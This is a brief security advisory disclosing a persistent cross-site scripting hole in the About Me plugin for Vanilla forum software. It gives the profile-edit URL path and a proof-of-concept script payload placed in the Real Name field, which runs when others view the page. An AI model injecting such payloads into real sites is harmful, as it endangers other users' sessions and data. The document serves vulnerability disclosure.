# Title: Vanilla About Me Plugin Persistant XSS Vulnerability# Date: 18/5/12# Author: Henry Hoggard# Author URL: henryhoggard.co.uk# Author Twitter: @henryhoggard# Software: Vanilla Version 2.0.18.4 + About Me 1.1.1# http://vanillaforums.org/addon/aboutme-plugin# http://http://vanillaforums.org#############################################################
Go to http://target.tld/index.php?p=/profile/editme/4/testmember
Post your XSS In any of the text fields,for this we used the Real Name Field and the following XSS
XSS:<script>alert('x')</script>
Then if a user visits your about me page (http://target.tld/index.php?p=/profile/aboutme/4/testmember) the script will execute
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http://henryhoggard.co.uk